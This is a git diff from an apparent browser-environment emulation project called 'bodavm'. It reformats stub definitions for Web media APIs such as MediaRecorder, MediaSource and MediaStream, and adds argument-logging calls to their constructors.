+ set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "pause", { + configurable: true, + enumerable: true, + writable: true, + value: function pause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "pause", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "requestData", { + configurable: true, + enumerable: true, + writable: true, + value: function requestData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "requestData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "resume", { + configurable: true, + enumerable: true, + writable: true, + value: function resume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "resume", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "start", { + configurable: true, + enumerable: true, + writable: true, + value: function start() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "start", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "stop", { + configurable: true, + enumerable: true, + writable: true, + value: function stop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "stop", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MediaSession.js b/env_xbb_lastest_jsdom/env/MediaSession.js index f1ecbb50..9ba93de3 100644 --- a/env_xbb_lastest_jsdom/env/MediaSession.js +++ b/env_xbb_lastest_jsdom/env/MediaSession.js @@ -1,9 +1,69 @@ -// MediaSession对象 -bodavm.memory.globalobj['MediaSession'] = function MediaSession(){if (!(this instanceof MediaSession)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaSession'], "MediaSession"); -bodavm.toolsFunc.defineProperty('MediaSession', "metadata", {configurable:true, enumerable:true, get:function metadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "metadata_get", arguments)}, set:function metadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "metadata_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSession', "playbackState", {configurable:true, enumerable:true, get:function playbackState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "playbackState_get", arguments)}, set:function playbackState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "playbackState_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSession', "setActionHandler", {configurable:true, enumerable:true, writable:true, value:function setActionHandler (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "setActionHandler", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSession', "setCameraActive", {configurable:true, enumerable:true, writable:true, value:function setCameraActive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "setCameraActive", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSession', "setMicrophoneActive", {configurable:true, enumerable:true, writable:true, value:function setMicrophoneActive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "setMicrophoneActive", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSession', "setPositionState", {configurable:true, enumerable:true, writable:true, value:function setPositionState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "setPositionState", arguments)}},'prototype'); +// MediaSession对象 + +bodavm.memory.globalobj['MediaSession'] = function MediaSession() { + console.log_copy('MediaSession 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaSession)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaSession'], "MediaSession"); +bodavm.toolsFunc.defineProperty('MediaSession', "metadata", { + configurable: true, + enumerable: true, + get: function metadata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "metadata_get", arguments); + }, + set: function metadata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "metadata_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSession', "playbackState", { + configurable: true, + enumerable: true, + get: function playbackState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "playbackState_get", arguments); + }, + set: function playbackState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "playbackState_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSession', "setActionHandler", { + configurable: true, + enumerable: true, + writable: true, + value: function setActionHandler() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "setActionHandler", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSession', "setCameraActive", { + configurable: true, + enumerable: true, + writable: true, + value: function setCameraActive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "setCameraActive", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSession', "setMicrophoneActive", { + configurable: true, + enumerable: true, + writable: true, + value: function setMicrophoneActive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "setMicrophoneActive", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSession', "setPositionState", { + configurable: true, + enumerable: true, + writable: true, + value: function setPositionState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "setPositionState", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MediaSource.js b/env_xbb_lastest_jsdom/env/MediaSource.js index e040105f..701d2221 100644 --- a/env_xbb_lastest_jsdom/env/MediaSource.js +++ b/env_xbb_lastest_jsdom/env/MediaSource.js @@ -1,19 +1,136 @@ -// MediaSource对象 -bodavm.memory.globalobj['MediaSource'] = function MediaSource(){this._boarg= new bodaobj.window.MediaSource();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaSource'], "MediaSource"); -bodavm.memory.globalobj['MediaSource'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['MediaSource'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('MediaSource', "isTypeSupported", {configurable:true, enumerable:true, writable:true, value:function isTypeSupported (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].undefined, "MediaSource", "isTypeSupported", arguments)}}); -bodavm.toolsFunc.defineProperty('MediaSource', "canConstructInDedicatedWorker", {configurable:true, enumerable:true, get:function canConstructInDedicatedWorker (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].undefined, "MediaSource", "canConstructInDedicatedWorker_get", arguments, true)}, set:undefined}); -bodavm.toolsFunc.defineProperty('MediaSource', "sourceBuffers", {configurable:true, enumerable:true, get:function sourceBuffers (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "sourceBuffers_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSource', "activeSourceBuffers", {configurable:true, enumerable:true, get:function activeSourceBuffers (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "activeSourceBuffers_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSource', "duration", {configurable:true, enumerable:true, get:function duration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "duration_get", arguments)}, set:function duration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "duration_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSource', "onsourceopen", {configurable:true, enumerable:true, get:function onsourceopen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "onsourceopen_get", arguments)}, set:function onsourceopen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "onsourceopen_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSource', "onsourceended", {configurable:true, enumerable:true, get:function onsourceended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "onsourceended_get", arguments)}, set:function onsourceended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "onsourceended_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSource', "onsourceclose", {configurable:true, enumerable:true, get:function onsourceclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "onsourceclose_get", arguments)}, set:function onsourceclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "onsourceclose_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSource', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "readyState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSource', "addSourceBuffer", {configurable:true, enumerable:true, writable:true, value:function addSourceBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "addSourceBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSource', "clearLiveSeekableRange", {configurable:true, enumerable:true, writable:true, value:function clearLiveSeekableRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "clearLiveSeekableRange", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSource', "endOfStream", {configurable:true, enumerable:true, writable:true, value:function endOfStream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "endOfStream", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSource', "removeSourceBuffer", {configurable:true, enumerable:true, writable:true, value:function removeSourceBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "removeSourceBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSource', "setLiveSeekableRange", {configurable:true, enumerable:true, writable:true, value:function setLiveSeekableRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "setLiveSeekableRange", arguments)}},'prototype'); +// MediaSource对象 + +bodavm.memory.globalobj['MediaSource'] = function MediaSource() { + console.log_copy('MediaSource 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.MediaSource(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaSource'], "MediaSource"); +bodavm.memory.globalobj['MediaSource'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['MediaSource'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('MediaSource', "isTypeSupported", { + configurable: true, + enumerable: true, + writable: true, + value: function isTypeSupported() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].undefined, "MediaSource", "isTypeSupported", arguments); + } +}); +bodavm.toolsFunc.defineProperty('MediaSource', "canConstructInDedicatedWorker", { + configurable: true, + enumerable: true, + get: function canConstructInDedicatedWorker() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].undefined, "MediaSource", "canConstructInDedicatedWorker_get", arguments, true); + }, + set: undefined +}); +bodavm.toolsFunc.defineProperty('MediaSource', "sourceBuffers", { + configurable: true, + enumerable: true, + get: function sourceBuffers() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "sourceBuffers_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSource', "activeSourceBuffers", { + configurable: true, + enumerable: true, + get: function activeSourceBuffers() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "activeSourceBuffers_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSource', "duration", { + configurable: true, + enumerable: true, + get: function duration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "duration_get", arguments); + }, + set: function duration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "duration_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSource', "onsourceopen", { + configurable: true, + enumerable: true, + get: function onsourceopen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "onsourceopen_get", arguments); + }, + set: function onsourceopen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "onsourceopen_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSource', "onsourceended", { + configurable: true, + enumerable: true, + get: function onsourceended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "onsourceended_get", arguments); + }, + set: function onsourceended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "onsourceended_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSource', "onsourceclose", { + configurable: true, + enumerable: true, + get: function onsourceclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "onsourceclose_get", arguments); + }, + set: function onsourceclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "onsourceclose_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSource', "readyState", { + configurable: true, + enumerable: true, + get: function readyState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "readyState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSource', "addSourceBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function addSourceBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "addSourceBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSource', "clearLiveSeekableRange", { + configurable: true, + enumerable: true, + writable: true, + value: function clearLiveSeekableRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "clearLiveSeekableRange", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSource', "endOfStream", { + configurable: true, + enumerable: true, + writable: true, + value: function endOfStream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "endOfStream", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSource', "removeSourceBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function removeSourceBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "removeSourceBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSource', "setLiveSeekableRange", { + configurable: true, + enumerable: true, + writable: true, + value: function setLiveSeekableRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "setLiveSeekableRange", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MediaSourceHandle.js b/env_xbb_lastest_jsdom/env/MediaSourceHandle.js index 6e81ee62..89841107 100644 --- a/env_xbb_lastest_jsdom/env/MediaSourceHandle.js +++ b/env_xbb_lastest_jsdom/env/MediaSourceHandle.js @@ -1,3 +1,17 @@ -// MediaSourceHandle对象 -bodavm.memory.globalobj['MediaSourceHandle'] = function MediaSourceHandle(){if (!(this instanceof MediaSourceHandle)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaSourceHandle'], "MediaSourceHandle"); +// MediaSourceHandle对象 + +bodavm.memory.globalobj['MediaSourceHandle'] = function MediaSourceHandle() { + console.log_copy('MediaSourceHandle 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaSourceHandle)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaSourceHandle'], "MediaSourceHandle"); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MediaStream.js b/env_xbb_lastest_jsdom/env/MediaStream.js index 70e31c4d..0f727d80 100644 --- a/env_xbb_lastest_jsdom/env/MediaStream.js +++ b/env_xbb_lastest_jsdom/env/MediaStream.js @@ -1,18 +1,128 @@ -// MediaStream对象 -bodavm.memory.globalobj['MediaStream'] = function MediaStream(){this._boarg= new bodaobj.window.MediaStream();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStream'], "MediaStream"); -bodavm.memory.globalobj['MediaStream'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['MediaStream'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('MediaStream', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStream', "active", {configurable:true, enumerable:true, get:function active (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "active_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStream', "onaddtrack", {configurable:true, enumerable:true, get:function onaddtrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onaddtrack_get", arguments)}, set:function onaddtrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onaddtrack_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStream', "onremovetrack", {configurable:true, enumerable:true, get:function onremovetrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onremovetrack_get", arguments)}, set:function onremovetrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onremovetrack_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStream', "onactive", {configurable:true, enumerable:true, get:function onactive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onactive_get", arguments)}, set:function onactive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onactive_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStream', "oninactive", {configurable:true, enumerable:true, get:function oninactive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "oninactive_get", arguments)}, set:function oninactive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "oninactive_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStream', "addTrack", {configurable:true, enumerable:true, writable:true, value:function addTrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "addTrack", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStream', "clone", {configurable:true, enumerable:true, writable:true, value:function clone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "clone", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStream', "getAudioTracks", {configurable:true, enumerable:true, writable:true, value:function getAudioTracks (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "getAudioTracks", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStream', "getTrackById", {configurable:true, enumerable:true, writable:true, value:function getTrackById (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "getTrackById", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStream', "getTracks", {configurable:true, enumerable:true, writable:true, value:function getTracks (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "getTracks", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStream', "getVideoTracks", {configurable:true, enumerable:true, writable:true, value:function getVideoTracks (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "getVideoTracks", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStream', "removeTrack", {configurable:true, enumerable:true, writable:true, value:function removeTrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "removeTrack", arguments)}},'prototype'); +// MediaStream对象 + +bodavm.memory.globalobj['MediaStream'] = function MediaStream() { + console.log_copy('MediaStream 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.MediaStream(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStream'], "MediaStream"); +bodavm.memory.globalobj['MediaStream'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['MediaStream'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('MediaStream', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "active", { + configurable: true, + enumerable: true, + get: function active() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "active_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "onaddtrack", { + configurable: true, + enumerable: true, + get: function onaddtrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onaddtrack_get", arguments); + }, + set: function onaddtrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onaddtrack_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "onremovetrack", { + configurable: true, + enumerable: true, + get: function onremovetrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onremovetrack_get", arguments); + }, + set: function onremovetrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onremovetrack_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "onactive", { + configurable: true, + enumerable: true, + get: function onactive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onactive_get", arguments); + }, + set: function onactive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onactive_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "oninactive", { + configurable: true, + enumerable: true, + get: function oninactive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "oninactive_get", arguments); + }, + set: function oninactive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "oninactive_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "addTrack", { + configurable: true, + enumerable: true, + writable: true, + value: function addTrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "addTrack", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "clone", { + configurable: true, + enumerable: true, + writable: true, + value: function clone() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "clone", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "getAudioTracks", { + configurable: true, + enumerable: true, + writable: true, + value: function getAudioTracks() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "getAudioTracks", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "getTrackById", { + configurable: true, + enumerable: true, + writable: true, + value: function getTrackById() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "getTrackById", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "getTracks", { + configurable: true, + enumerable: true, + writable: true, + value: function getTracks() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "getTracks", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "getVideoTracks", { + configurable: true, + enumerable: true, + writable: true, + value: function getVideoTracks() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "getVideoTracks", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "removeTrack", { + configurable: true, + enumerable: true, + writable: true, + value: function removeTrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "removeTrack", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MediaStreamAudioDestinationNode.js b/env_xbb_lastest_jsdom/env/MediaStreamAudioDestinationNode.js index a021dab8..1188dba3 100644 --- a/env_xbb_lastest_jsdom/env/MediaStreamAudioDestinationNode.js +++ b/env_xbb_lastest_jsdom/env/MediaStreamAudioDestinationNode.js @@ -1,6 +1,27 @@ -// MediaStreamAudioDestinationNode对象 -bodavm.memory.globalobj['MediaStreamAudioDestinationNode'] = function MediaStreamAudioDestinationNode(){if (!(this instanceof MediaStreamAudioDestinationNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaStreamAudioDestinationNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamAudioDestinationNode'], "MediaStreamAudioDestinationNode"); -bodavm.memory.globalobj['MediaStreamAudioDestinationNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['MediaStreamAudioDestinationNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('MediaStreamAudioDestinationNode', "stream", {configurable:true, enumerable:true, get:function stream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamAudioDestinationNode'].prototype, "MediaStreamAudioDestinationNode", "stream_get", arguments)}, set:undefined},'prototype'); +// MediaStreamAudioDestinationNode对象 + +bodavm.memory.globalobj['MediaStreamAudioDestinationNode'] = function MediaStreamAudioDestinationNode() { + console.log_copy('MediaStreamAudioDestinationNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaStreamAudioDestinationNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaStreamAudioDestinationNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamAudioDestinationNode'], "MediaStreamAudioDestinationNode"); +bodavm.memory.globalobj['MediaStreamAudioDestinationNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['MediaStreamAudioDestinationNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; 